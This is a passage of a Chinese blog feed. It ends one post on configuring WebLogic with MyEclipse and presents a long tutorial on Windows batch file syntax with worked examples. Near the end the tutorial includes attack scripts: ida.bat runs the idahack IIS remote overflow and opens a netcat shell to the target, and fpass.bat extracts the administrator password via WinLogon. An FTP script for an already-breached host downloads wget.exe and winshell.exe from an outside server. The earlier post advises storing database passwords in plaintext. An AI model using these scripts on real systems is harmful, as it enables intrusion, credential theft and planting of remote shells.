&lt;/JMSServer&gt;<br />    &lt;Application Name="_appsdir_cnr_dir"<br />        Path="F:\bea\user_projects\domains\mydomain\applications"<br />        StagingMode="nostage" TwoPhase="true"&gt;<br />        &lt;WebAppComponent Name="cnr" Targets="myserver" URI="cnr"/&gt;<br />    &lt;/Application&gt;<br />    &lt;JDBCConnectionPool DriverName="oracle.jdbc.driver.OracleDriver"<br />        Name="TDB" Password="{3DES}hW7xgPt8c4U=" Properties="user=media"<br />        Targets="myserver" TestConnectionsOnCreate="true"<br />        TestConnectionsOnRelease="true"<br />        TestTableName="SQL SELECT 1 FROM DUAL" URL="jdbc:oracle:thin:@192.168.2.101:1521:tmedia"/&gt;<br />    &lt;JDBCTxDataSource JNDIName="jdbc/cnr-tdb" Name="jdbc/cnr-tdb"<br />        PoolName="TDB" Targets="myserver"/&gt;<br />    &lt;JDBCConnectionPool DriverName="oracle.jdbc.driver.OracleDriver"<br />        Name="SDB" Password="{3DES}hW7xgPt8c4U=" Properties="user=media"<br />        Targets="myserver" TestConnectionsOnCreate="true"<br />        TestConnectionsOnRelease="true"<br />        TestTableName="SQL SELECT 1 FROM DUAL" URL="jdbc:oracle:thin:@192.168.2.101:1521:smedia"/&gt;<br />    &lt;JDBCTxDataSource JNDIName="jdbc/cnr-sdb" Name="jdbc/cnr-sdb"<br />        PoolName="SDB" Targets="myserver"/&gt;<br />    &lt;JDBCTxDataSource JNDIName="jdbc/CorrelativeLink"<br />        Name="jdbc/CorrelativeLink" PoolName="SDB" Targets="myserver"/&gt;<br />    &lt;JDBCDataSourceFactory<br />        DriverClassName="oracle.jdbc.driver.OracleDriver"<br />        FactoryName="jdbc/CorrelativeLink" Name="jdbc/CorrelativeLink"<br />        Password="{3DES}hW7xgPt8c4U=" Properties=""<br />        URL="jdbc:oracle:thin:@192.168.2.101:1521:smedia" UserName="media"/&gt;<br />&lt;/Domain&gt;<br />4.配置myeclipse的server configer<br />   (1) bea home directory :F:/bea<br />   (2)weblogic installation directory F:\bea\weblogic81<br /> ( 3) admin name :刚才你在迷宫里填写的名字<br />  (4) password    :迷宫里写的密码<br />   （5）Execution  domain root  F:\bea\user_projects\domains<br />   (6)Execution  domain  name  : mydomain<br />  (7)Execution    server   mydomain:  myserver<br /> (8) hostname:portnumber:localhost:7001<br />(9)security policy file:F:\bea\weblogic81\server\lib\weblogic.policy<br />(10)jaas....不管它。<br />然后配置第二项jdk.（使用weblogic自带的就行）<br />最后别忘了把你刚才辛苦半天配置的server 点上enable.<br />5.在第一次启动的时候可能有这样的错误:weblogic无法安全地读取连接数据库的密码：<br />此时可把刚才提到的config.xml里的加密密码全改成明文形式。重启，通过</p>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/102228.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2007-03-06 18:32 <a href="http://www.blogjava.net/zhanglijun33/archive/2007/03/06/weblogic1.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BAT文件语法和技巧（bat文件的编写及使用）</title><link>http://www.blogjava.net/zhanglijun33/archive/2007/01/16/BAT.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Tue, 16 Jan 2007 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2007/01/16/BAT.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/94143.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2007/01/16/BAT.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/94143.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/94143.html</trackback:ping><description><![CDATA[BAT文件语法和技巧（bat文件的编写及使用）<br />首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。<br /><br />其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。<br /><br />第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。<br /><br />第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例：<br />@ECHO OFF<br />PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH<br />LH SMARTDRV.EXE /X<br />LH DOSKEY.COM /INSERT<br />LH CTMOUSE.EXE<br />SET TEMP=D:\TEMP<br />SET TMP=D:\TEMP<br /><br /><br />批处理的作用<br />简单的说，批处理的作用就是自动的连续执行多条命令。<br /><br />这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（&gt;前面内容表示DOS提示符）： <br />C:\&gt;cd wps <br />C:\WPS&gt;spdos<br />C:\WPS&gt;py <br />C:\WPS&gt;wbx <br />C:\WPS&gt;wps <br />如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？<br /><br />好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：<br />@echo off<br />c:<br />cd\wps<br />spdos<br />py<br />wbx<br />wps<br />cd\<br /><br />以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。<br /><br />常用命令<br /><br />echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br />echo 表示显示此命令后的字符 <br />echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br />@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br />call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br />pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 <br />rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br /><br />例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br /><br />　　批处理文件的内容为: 　　　　　　　 命令注释： <br /><br />　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行<br />　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt <br />　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos <br />　　　　echo 你好 　　　　　　　　　　 显示"你好" <br />　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续 <br />　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps <br />　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录 <br />　　　　wps 　　　　　　　　　　　　　 运行wps　　 <br /><br />批处理文件的参数<br /><br />批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。 <br /><br />%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br /><br />例2：C:根目录下有一批处理文件名为f.bat，内容为：<br />@echo off<br />format %1<br /><br />如果执行C:\&gt;f a:<br />那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:<br /><br />例3：C:根目录下一批处理文件名为t.bat，内容为:<br />@echo off<br />type %1 <br />type %2 <br /><br />那么运行C:\&gt;t a.txt b.txt <br />%1 : 表示a.txt<br />%2 : 表示b.txt<br />于是上面的命令将顺序地显示a.txt和b.txt文件的内容。<br /><br /><br />特殊命令<br /><br />if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br /><br />一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br /><br />1、if [not] "参数" == "字符串" 待执行的命令 <br /><br />参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。<br /><br />例：if "%1"=="a" format a:<br /><br />2、if [not] exist [路径\]文件名 待执行的命令 <br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br /><br />如: if exist c:\config.sys type c:\config.sys <br />表示如果存在c:\config.sys文件，则显示它的内容。<br /><br />3、if errorlevel &lt;数字&gt; 待执行的命令 <br /><br />很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。<br /><br />如if errorlevel 2 goto x2<br /><br />二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br /><br />如:<br /><br />goto end <br /><br />:end <br />echo this is the end <br /><br />标号用":字符串"来定义，标号所在行不被执行。 <br /><br />三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。<br /><br />注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。<br /><br />choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：<br /><br />CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]<br /><br />描述:<br />　 该工具允许用户从选择列表选择一个项目并返回所选项目的索引。<br /><br />参数列表:<br />　/C　　choices　　　 指定要创建的选项列表。默认列表是 "YN"。<br /><br />　/N　　　　　　　　　在提示符中隐藏选项列表。提示前面的消息得到显示，选项依旧处于启用状态。<br /><br />　/CS　　　　　　　　 允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。<br /><br />　/T　　timeout　　　 做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项<br />　　　　　　　　　　　会得到选择。<br /><br />　/D　　choice　　　　在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。<br /><br />　/M　　text　　　　　指定提示之前要显示的消息。如果没有指定，工具只显示提示。<br /><br />　/?　　　　　　　　　显示帮助消息。<br /><br />　注意:<br />　ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。<br /><br />示例:<br />　CHOICE /? <br />　CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"<br />　CHOICE /T 10 /C ync /CS /D y<br />　CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"<br />　CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"<br />　<br />如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"<br />屏幕上会显示：<br />确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?<br />　<br />　<br />例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: <br />@echo off <br />choice /C dme /M "defrag,mem,end"<br />if errorlevel 3 goto end<br />if errorlevel 2 goto mem <br />if errotlevel 1 goto defrag <br /><br />:defrag <br />c:\dos\defrag <br />goto end <br /><br />:mem <br />mem <br />goto end <br /><br />:end <br />echo good bye <br /><br />此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。 <br /><br />四、for 循环命令，只要条件符合，它将多次执行同一命令。 <br /><br />语法：<br />对一组文件中的每一个文件执行某个特定命令。<br /><br />FOR %%variable IN (set) DO command [command-parameters]<br /><br />%%variable　　　　指定一个单一字母可替换的参数。<br />(set)　　　　　　指定一个或一组文件。可以使用通配符。<br />command　　　　　指定对每个文件执行的命令。<br />command-parameters 为特定命令指定参数或命令行开关。<br /><br />例如一个批处理文件中有一行: <br />for %%c in (*.bat *.txt) do type %%c <br /><br />则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。<br /><br /><br />批处理示例<br /><br />1. IF-EXIST<br /><br />1)<br /><br />首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： <br />@echo off <br />IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT <br />IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist <br /><br />然后运行它：<br />C:\&gt;TEST1.BAT <br /><br />如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。<br /><br />2)<br /><br />接着再建立一个test2.bat文件，内容如下： <br />@ECHO OFF <br />IF EXIST \%1 TYPE \%1 <br />IF NOT EXIST \%1 ECHO \%1 does not exist <br /><br />执行: <br />C:\&gt;TEST2 AUTOEXEC.BAT <br />该命令运行结果同上。<br /><br />说明： <br />(1) IF EXIST 是用来测试文件是否存在的，格式为 <br />IF EXIST [路径+文件名] 命令 <br />(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 <br /><br />3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： <br />@echo off<br />IF "%1" == "A" ECHO XIAO <br />IF "%2" == "B" ECHO TIAN <br />IF "%3" == "C" ECHO XIN <br /><br />如果运行：<br />C:\&gt;TEST3 A B C <br />屏幕上会显示:<br />XIAO<br />TIAN<br />XIN<br /><br />如果运行：<br />C:\&gt;TEST3 A B <br />屏幕上会显示<br />XIAO<br />TIAN <br /><br />在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br /><br />2、IF-ERRORLEVEL<br /><br />建立TEST4.BAT，内容如下：<br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br /><br />然后执行文件:<br />C:\&gt;TEST4<br /><br />如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。 <br /><br />IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：<br />@ECHO OFF <br />XCOPY C:\AUTOEXEC.BAT D:\ <br />IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br />IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br />IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br />IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br /><br />无论拷贝是否成功，后面的： <br /><br />未找到拷贝文件 <br />用户通过ctrl-c中止拷贝操作 <br />预置错误阻止文件拷贝操作 <br />拷贝过程中写盘错误<br /><br />都将显示出来。 <br /><br />以下就是几个常用命令的返回值及其代表的意义： <br />backup <br />0 备份成功 <br />1 未找到备份文件 <br />2 文件共享冲突阻止备份完成 <br />3 用户用ctrl-c中止备份 <br />4 由于致命的错误使备份操作中止 <br /><br />diskcomp <br />0 盘比较相同 <br />1 盘比较不同 <br />2 用户通过ctrl-c中止比较操作 <br />3 由于致命的错误使比较操作中止 <br />4 预置错误中止比较 <br /><br />diskcopy <br />0 盘拷贝操作成功 <br />1 非致命盘读/写错 <br />2 用户通过ctrl-c结束拷贝操作 <br />3 因致命的处理错误使盘拷贝中止 <br />4 预置错误阻止拷贝操作 <br /><br />format <br />0 格式化成功 <br />3 用户通过ctrl-c中止格式化处理 <br />4 因致命的处理错误使格式化中止 <br />5 在提示"proceed with format（y/n）?"下用户键入n结束 <br /><br />xcopy <br />0 成功拷贝文件 <br />1 未找到拷贝文件 <br />2 用户通过ctrl-c中止拷贝操作 <br />4 预置错误阻止文件拷贝操作 <br />5 拷贝过程中写盘错误 <br /><br />3、IF STRING1 == STRING2<br /><br />建立TEST5.BAT，文件内容如下： <br />@echo off <br />IF "%1" == "A" formAT A: <br /><br />执行： <br />C:\&gt;TEST5 A <br />屏幕上就出现是否将A:盘格式化的内容。 <br /><br />注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。<br />如：if [%1]==[A] 或者 if %1*==A*<br /><br />5、GOTO<br /><br />建立TEST6.BAT，文件内容如下： <br />@ECHO OFF <br />IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br />GOTO _DONE<br />:_COPY <br />COPY C:\AUTOEXEC.BAT D:\ <br />:_DONE <br /><br />注意： <br />(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 <br />(2) 标号的命名规则与文件名的命名规则相同。<br />(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。<br /><br />6、FOR<br /><br />建立C:\TEST7.BAT，文件内容如下： <br />@ECHO OFF <br />FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C <br /><br />运行： <br />C:&gt;TEST7<br /><br />执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。 <br /><br /><br /><br />win2000命令行方式批处理BAT文件技巧<br />　 <br /><br />文章结构 <br />1. 所有内置命令的帮助信息 <br />2. 环境变量的概念 <br />3. 内置的特殊符号(实际使用中间注意避开) <br />4. 简单批处理文件概念 <br />5. 附件1 tmp.txt <br />6. 附件2 sample.bat <br /><br />###########################<br />1. 所有内置命令的帮助信息 <br />###########################<br />ver <br />cmd /? <br />set /? <br />rem /? <br />if /? <br />echo /? <br />goto /? <br />for /? <br />shift /? <br />call /? <br />其他需要的常用命令 <br />type /? <br />find /? <br />findstr /? <br />copy /? <br /><br />下面将所有上面的帮助输出到一个文件 <br />echo ver &gt;tmp.txt <br />ver &gt;&gt;tmp.txt <br />echo cmd /? &gt;&gt;tmp.txt <br />cmd /? &gt;&gt;tmp.txt <br />echo rem /? &gt;&gt;tmp.txt <br />rem /? &gt;&gt;tmp.txt <br />echo if /? &gt;&gt;tmp.txt <br />if /? &gt;&gt;tmp.txt <br />echo goto /? &gt;&gt;tmp.txt <br />goto /? &gt;&gt;tmp.txt <br />echo for /? &gt;&gt;tmp.txt <br />for /? &gt;&gt;tmp.txt <br />echo shift /? &gt;&gt;tmp.txt <br />shift /? &gt;&gt;tmp.txt <br />echo call /? &gt;&gt;tmp.txt <br />call /? &gt;&gt;tmp.txt <br />echo type /? &gt;&gt;tmp.txt <br />type /? &gt;&gt;tmp.txt <br />echo find /? &gt;&gt;tmp.txt <br />find /? &gt;&gt;tmp.txt <br />echo findstr /? &gt;&gt;tmp.txt <br />findstr /? &gt;&gt;tmp.txt <br />echo copy /? &gt;&gt;tmp.txt <br />copy /? &gt;&gt;tmp.txt <br />type tmp.txt <br /><br /><br />#############################<br />2. 环境变量的概念 <br />#############################<br /><br />C:\Program Files&gt;set <br />ALLUSERSPROFILE=C:\Documents and Settings\All Users <br />CommonProgramFiles=C:\Program Files\Common Files <br />COMPUTERNAME=FIRST <br />ComSpec=C:\WINNT\system32\cmd.exe <br />NUMBER_OF_PROCESSORS=1 <br />OS=Windows_NT <br />Os2LibPath=C:\WINNT\system32\os2\dll; <br />Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM <br />PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH <br />PROCESSOR_ARCHITECTURE=x86 <br />PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel <br />PROCESSOR_LEVEL=6 <br />PROCESSOR_REVISION=0605 <br />ProgramFiles=C:\Program Files <br />PROMPT=$P$G <br />SystemDrive=C: <br />SystemRoot=C:\WINNT <br />TEMP=C:\WINNT\TEMP <br />TMP=C:\WINNT\TEMP <br />USERPROFILE=C:\Documents and Settings\Default User <br />windir=C:\WINNT <br /><br /><br />path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 <br />%windir%\system32\. 这个目录里面. 一般就可以自动搜索到. <br />语法: copy mychenxu.exe %windir%\system32\. <br />使用点(.) 便于一目了然 <br />对环境变量的引用使用(英文模式,半角)双引号 <br />%windir% 变量 <br />%%windir%% 二次变量引用. <br />我们常用的还有 <br />%temp% 临时文件目录 <br />%windir% 系统目录 <br />%errorlevel% 退出代码 <br /><br />输出文件到临时文件目录里面.这样便于当前目录整洁. <br /><br />对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 <br />C:\&gt;dir p* <br />C:\ 的目录 <br />2000-09-02 11:47 2,164 PDOS.DEF <br />1999-01-03 00:47 &lt;DIR&gt; Program Files <br />1 个文件 2,164 字节 <br />1 个目录 1,505,997,824 可用字节 <br /><br />C:\&gt;cd pro* <br />C:\Program Files&gt; <br /><br />C:\&gt; <br />C:\&gt;cd "Program Files" <br />C:\Program Files&gt; <br /><br /><br />############################################<br />3. 内置的特殊符号(实际使用中间注意避开) <br />############################################<br />微软里面内置了下列字符不能够在创建的文件名中间使用 <br />con nul aux \ / | || &amp;&amp; ^ &gt; &lt; * <br /><br />You can use most characters as variable values, including white space. If you use the special characters &lt;, &gt;, |, &amp;, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: <br />(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) <br />To create the variable value new&amp;name, type: <br />set varname=new^&amp;name <br /><br />To create the variable value "new&amp;name", type: <br />set varname="new&amp;name" <br /><br />The ampersand (&amp;), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. <br /><br />find "Pacific Rim" &lt; trade.txt &gt; nwtrade.txt <br />IF EXIST filename. (del filename.) ELSE echo filename. missing <br /><br />&gt; 创建一个文件 <br />&gt;&gt; 追加到一个文件后面 <br />@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 <br />^ 对特殊符号( &gt; &lt; &amp;)的前导字符. 第一个只是显示aaa 第二个输出文件bbb <br />echo 123456 ^&gt; aaa <br />echo 1231231 &gt; bbb <br />() 包含命令 <br />(echo aa &amp; echo bb) <br />, 和空格一样的缺省分隔符号. <br />; 注释,表示后面为注释 <br />: 标号作用 <br />| 管道操作 <br />&amp; Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br />用这种方法可以同时执行多条命令，而不管命令是否执行成功 <br />dir c:\*.exe &amp; dir d:\*.exe &amp; dir e:\*.exe <br />&amp;&amp; Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br />当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； <br />|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...] <br />当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； <br /><br />常用语法格式 <br />IF [NOT] ERRORLEVEL number command para1 para2 <br />IF [NOT] string1==string2 command para1 para2 <br />IF [NOT] EXIST filename command para1 para2 <br /><br />IF EXIST filename command para1 para2 <br />IF NOT EXIST filename command para1 para2 <br />IF "%1"=="" goto END <br />IF "%1"=="net" goto NET <br />IF NOT "%2"=="net" goto OTHER <br />IF ERRORLEVEL 1 command para1 para2 <br />IF NOT ERRORLEVEL 1 command para1 para2 <br />FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i <br />FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k <br />按照字母顺序 ijklmnopq依次取参数. <br />eol=c - 指一个行注释字符的结尾(就一个) <br />skip=n - 指在文件开始时忽略的行数。 <br />delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br /><br /><br />########################<br />4. 简单批处理文件概念 <br />########################<br /><br />echo This is test &gt; a.txt <br />type a.txt <br />echo This is test 11111 &gt;&gt; a.txt <br />type a.txt <br />echo This is test 22222 &gt; a.txt <br />type a.txt <br />第二个echo是追加 <br />第三个echo将清空a.txt 重新创建 a.txt <br /><br />netstat -n | find "3389" <br />这个将要列出所有连接3389的用户的ip. <br /><br />________________test.bat______<br />@echo please care <br />echo plese care 1111 <br />echo plese care 2222 <br />echo plese care 3333 <br />@echo please care <br />@echo plese care 1111 <br />@echo plese care 2222 <br />@echo plese care 3333 <br />rem 不显示注释语句,本行显示 <br />@rem 不显示注释语句,本行不显示 <br />@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) <br />@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) <br />_____________________________<br /><br />下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. <br /><br />___________________ida.bat_____<br />@rem ver 1.0 <br />@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe" <br />@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe" <br /><br />@if "%1" =="" goto USAGE <br />@if NOT "%2" =="" goto SP2 <br /><br />:start <br />@echo Now start ... <br />@ping %1 <br />@echo chinese win2k:1 sp1:2 sp2:3 <br />idahack.exe %1 80 1 99 &gt;%temp%\_tmp <br />@echo "prog exit code [%errorlevel%] idahack.exe" <br />@type %temp%\_tmp <br />@find "good luck :)" %temp%\_tmp <br />@echo "prog exit code [%errorlevel%] find [goog luck]" <br />@if NOT errorlevel 1 nc.exe %1 99 <br />@goto END <br /><br />:SP2 <br />@idahack.exe %1 80 %2 99 %temp%\_tmp <br />@type %temp%\_tmp <br />@find "good luck :)" %temp%\_tmp <br />@if NOT errorlevel 1 nc.exe %1 99 <br />@goto END <br /><br />:USAGE <br />@echo Example: ida.bat IP <br />@echo Example: ida.bat IP (2,3) <br /><br />:END <br />_____________________ida.bat__END_______<br /><br />下面我们再来第二个文件.就是得到administrator的口令. <br />大多数人说得不到.其实是自己的没有输入正确的信息. <br /><br />___________________________fpass.bat____________________________________________ <br />@rem ver 1.0 <br />@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe" <br />@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe" <br /><br />@echo start.... <br />@echo ____________________________________ <br />@if "%1"=="" goto USAGE <br />@findpass.exe %1 %2 %3 &gt;&gt; %temp%\_findpass.txt <br />@echo "prog exit code [%errorlevel%] findpass.exe" <br />@type %temp%\_findpass.txt <br />@echo ________________________________Here__pass★★★★★★★★ <br />@ipconfig /all &gt;&gt;%temp%\_findpass.txt <br />@goto END <br /><br />:USAGE <br />@pulist.exe &gt;%temp%\_pass.txt <br />@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt <br />@echo "Example: fpass.bat %1 %2 %3 %4 !!!" <br />@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" <br /><br />:END <br />@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " <br />@echo " fpass.bat end [%errorlevel%] !" <br />_________________fpass.bat___END___________________________________________________________ <br /><br />还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) <br />依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! <br /><br />echo open 210.64.x.4 3396&gt;w <br />echo read&gt;&gt;w <br />echo read&gt;&gt;w <br />echo cd winnt&gt;&gt;w <br />echo binary&gt;&gt;w <br />echo pwd &gt;&gt;w <br />echo get wget.exe &gt;&gt;w <br />echo get winshell.exe &gt;&gt;w <br />echo get any.exe &gt;&gt;w <br />echo quit &gt;&gt;w <br />ftp -s:w一个创建bat文件（批处理文件）的学习资料。大家学习一下。<br /><p></p><img src ="http://www.blogjava.net/zhanglijun33/aggbug/94143.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2007-01-16 10:32 <a href="http://www.blogjava.net/zhanglijun33/archive/2007/01/16/BAT.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Velocity学习与实践（转） </title><link>http://www.blogjava.net/zhanglijun33/archive/2007/01/14/velocityStudy.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Sun, 14 Jan 2007 08:55:00 